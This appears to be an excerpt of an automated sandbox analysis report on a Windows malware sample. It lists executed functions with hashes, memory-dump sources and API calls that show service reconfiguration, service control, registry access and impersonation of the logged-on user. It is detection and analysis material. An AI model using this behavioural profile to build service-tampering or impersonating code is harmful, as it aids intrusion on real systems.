Function 04A00DD7 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d244703d0fd555918a70ed1a04d9d3b58343510ff0c350750b7bc41d7364785f
Instruction ID: e26c699b4d79e3dc4153b273d926a63d02bda24ad258115da5ad9ad19232b899
Opcode Fuzzy Hash: d244703d0fd555918a70ed1a04d9d3b58343510ff0c350750b7bc41d7364785f
Instruction Fuzzy Hash: C911DDFB24C1107DB14286813B58BFB6B7EE5D7B30330C467F402E6682F6956E492531

Function 04A00DFF Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09ebd9a53e4a94af4972db924d66898fd6ec1ee7745ee7c8a15278e251a44442
Instruction ID: 510a19adf10a6019b039cd8f6fae95e6cbf103b9c2dbbe1fca7cc7b4ed795672
Opcode Fuzzy Hash: 09ebd9a53e4a94af4972db924d66898fd6ec1ee7745ee7c8a15278e251a44442
Instruction Fuzzy Hash: B4119DFB24D110BEB10282917B68BFA6B6DE6D6730330C467F406E6282E6956E492131

Function 04A00E69 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31db094a2eb877d1df42a47fc2acdd5b1d530b95cf65adbae4abeed9133c905f
Instruction ID: f14c0eded6b9162d7b90497ad7ddbe34a5bc25dd694f46b708b4b28cb3ac981e
Opcode Fuzzy Hash: 31db094a2eb877d1df42a47fc2acdd5b1d530b95cf65adbae4abeed9133c905f
Instruction Fuzzy Hash: 34119EFB64D6107DB14282813B68BFA6B7DE5C7730330C467F406E6682F6956E8D6131

Function 04A00DD1 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3e56d6d27f31774d98a74eef6f5aba0a526524b8c6a8e711b76b6e38dc95564
Instruction ID: fbf9452f4bbba2a4bd3ea5ca5e179a9ee0d6dac7f9710b2a725fbcb06dfdff7b
Opcode Fuzzy Hash: a3e56d6d27f31774d98a74eef6f5aba0a526524b8c6a8e711b76b6e38dc95564
Instruction Fuzzy Hash: 9201CCFB64C2217DB14281813B68BFA6B7AE5D7730330C4A7F402E6682F6896A4D2031

Function 04A00E9B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e34f00eec26702b26f9552ca75adbf52fbcfe6c76b5022895755e438b343289
Instruction ID: cf8ce537f0140adc787a28eefc4e2e67fd030e8c3fcfa2deeb75feff42cbdf8c
Opcode Fuzzy Hash: 8e34f00eec26702b26f9552ca75adbf52fbcfe6c76b5022895755e438b343289
Instruction Fuzzy Hash: 8501D6F760D2506DA022858139647F76F7AD5C2630331C867F442E6983E1892E096131

Function 04A00E56 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0041234cd675e26f5eecaba2161989eadb8c649edcfe41ca2a74c9f26fc35a9
Instruction ID: 4feb9fbc05511e9dd6bf9e31ad631a342445045f2748bb085221f855e073bc46
Opcode Fuzzy Hash: c0041234cd675e26f5eecaba2161989eadb8c649edcfe41ca2a74c9f26fc35a9
Instruction Fuzzy Hash: 6AF05EFB64D1216DB00180927B68BFB5A3AE0D2B70331C827F802E6682F2895E593071

Non-executed Functions

Function 04A006CE Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f7ff44be5f346e932460fcc4785b5aa1b3b27790f3492682344bba9fd9f3a0
Instruction ID: 7546371b095c4c002a41109a8db4df8dde7c45e63004ec183e79cd0491ff88fc
Opcode Fuzzy Hash: 34f7ff44be5f346e932460fcc4785b5aa1b3b27790f3492682344bba9fd9f3a0
Instruction Fuzzy Hash: 370192F724D690BEB14285517B68BF63B3ED5C3730330C467F442CA593E28A1A4E6572

Analysis Process: BF3BS0M5707K28RGW9.exePID: 3300, Parent PID: 2224COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	33.3%
Signature Coverage:	8.3%
Total number of Nodes:	36
Total number of Limit Nodes:	1

Executed Functions

Function 053215D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053218C8

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 26093b26e622f1d514afaf6b1d3ae3b671b64c52bcd5b0f13ca01df266a7b0eb
Instruction ID: 70cabf2702a22065f585b14dedfef59b54ce60d04a4d9437eab5373ec0b5ff8a
Opcode Fuzzy Hash: 26093b26e622f1d514afaf6b1d3ae3b671b64c52bcd5b0f13ca01df266a7b0eb
Instruction Fuzzy Hash: 15C15E71D10A699FDB10CFA8CA857AEBBF1FF49310F148129EC55E7240DBB49985CB81

Function 00BCFA9D Relevance: 4.6, APIs: 3, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00BCFB11
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00BCFB38
GetNativeSystemInfo.KERNELBASE(?), ref: 00BCFB8F

Memory Dump Source

Source File: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e316c440c2579b08cabecb7cd4226521cdf552ed91cc84d94627e1c6f1975306
Instruction ID: e67a18658d66995b316614a0ab4ec0e675c07cbc05f8c7db5e71c536d2d3ab5e
Opcode Fuzzy Hash: e316c440c2579b08cabecb7cd4226521cdf552ed91cc84d94627e1c6f1975306
Instruction Fuzzy Hash: D831F47150411E9BEF21DF20C848BEE3BA6EB05311F1104AAED8686940D7B64CA4DF8A

Function 00BBE849 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 122
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BBE849

Strings

(|, xrefs: 00BBE89F

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: LibraryLoad
String ID: (|
API String ID: 1029625771-1648977447
Opcode ID: ff57ca8cd6cead12842123e6776b36b44754106e09911ce80d2d9671e5f857b5
Instruction ID: 30f2c62dfde7f65ee8febb957f12c3fa14751174afcea23a654291f652beedf4
Opcode Fuzzy Hash: ff57ca8cd6cead12842123e6776b36b44754106e09911ce80d2d9671e5f857b5
Instruction Fuzzy Hash: 223153F250C610AFE3196F08DC816BEFBE9EF94720F22492EF6C5D3250D67158448A97

Function 053215C4 Relevance: 1.8, APIs: 1, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053218C8

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 1c7d2cae3cfdd266cd8d73582d4f70ba147bdbe141b56246038100d074792349
Instruction ID: 80074cf1aba9c3c394588c3f1226c139f758bc6bd1b82611788192b95b82ad45
Opcode Fuzzy Hash: 1c7d2cae3cfdd266cd8d73582d4f70ba147bdbe141b56246038100d074792349
Instruction Fuzzy Hash: 72C15E71D10A699FDB10CFA8CA857AEBBF1FF49310F148129EC55E7280DBB49985CB81

Function 05320D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05320DCD

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8bc03ada63d7c95e8d681a6cf785d9647ea745557a5ed460947adefe6f2e6874
Instruction ID: 39f0867e29bafcf9c8edf1eddca31eebc6ae49c6bd6c0fcb972578694b027a06
Opcode Fuzzy Hash: 8bc03ada63d7c95e8d681a6cf785d9647ea745557a5ed460947adefe6f2e6874
Instruction Fuzzy Hash: B72134BA8016199FCB54CF99D885BDEFBB4FB88720F14811AD908AB204D774A544CBA4

Function 05320D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05320DCD

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 0004faec3a071b2ee423f53a021bc5b06af7d1b27852b15098d8d93d53e7899a
Instruction ID: b78cece7ef104411d43b94b22e60bf753651b49a44ac23bbac1ad416a0b2620a
Opcode Fuzzy Hash: 0004faec3a071b2ee423f53a021bc5b06af7d1b27852b15098d8d93d53e7899a
Instruction Fuzzy Hash: 032115BAC016199FCB54CF99D884BDEFBF4FF88720F14811AD919AB204D774A544CBA4

Function 05321510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05321580

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: ecdb4fd423f02cbb289a9f7683d78a241ed03d43006cef89e6e030136b5bbdef
Instruction ID: a8ce7567973e0f8789e38b13bfa523240d7a7dbf4597020795a18803c6d840bb
Opcode Fuzzy Hash: ecdb4fd423f02cbb289a9f7683d78a241ed03d43006cef89e6e030136b5bbdef
Instruction Fuzzy Hash: 1C11E4B69007499FDB10CF9AC584BDEFBF4FB48320F108029E559A3250D778AA44CFA5

Function 05321509 Relevance: 1.6, APIs: 1, Instructions: 53
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05321580

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0738bf86e6fa86f7584af9159d2a07da9e0cc876e04b0bb3c8577ba78feef71c
Instruction ID: 6aba1e01965ee48e08a1c83ffdd18ff45f9ecb1f209a017b33f0421d8b3a7315
Opcode Fuzzy Hash: 0738bf86e6fa86f7584af9159d2a07da9e0cc876e04b0bb3c8577ba78feef71c
Instruction Fuzzy Hash: 702114B6D007498FDB10CF9AD584BDEFBF4BB48320F10842AE559A3240D778AA44CFA5

Function 05321301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05321367

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 397e07295ec199e6f31cf12a63e3fa9541f246ab12a9663b853bba747ec0e01c
Instruction ID: c0f77526de29c7edce2ae48ee70de291f8dd833aa189ad693b8b2bea4168bb41
Opcode Fuzzy Hash: 397e07295ec199e6f31cf12a63e3fa9541f246ab12a9663b853bba747ec0e01c
Instruction Fuzzy Hash: 991125B6800649CFDB10CF9AC545BDEBBF4EF48324F24845AD518A3250D7B8A954CFA5

Function 05321308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05321367

Memory Dump Source

Source File: 00000006.00000002.2558671050.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5320000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: a07bdf9ad9155ab0ba1903bfec26ae7fd6476f4f957813afe58d55c3c283d58b
Instruction ID: ca84bec75c674ed27cd9940d1a780c8d889bdce4487e68e956233c0d4aecbe2b
Opcode Fuzzy Hash: a07bdf9ad9155ab0ba1903bfec26ae7fd6476f4f957813afe58d55c3c283d58b
Instruction Fuzzy Hash: 321122B6800649CFDB10CF9AC545BDEBBF8EB48320F20842AD518A3240D7B8A944CFA5

Function 00BC1084 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
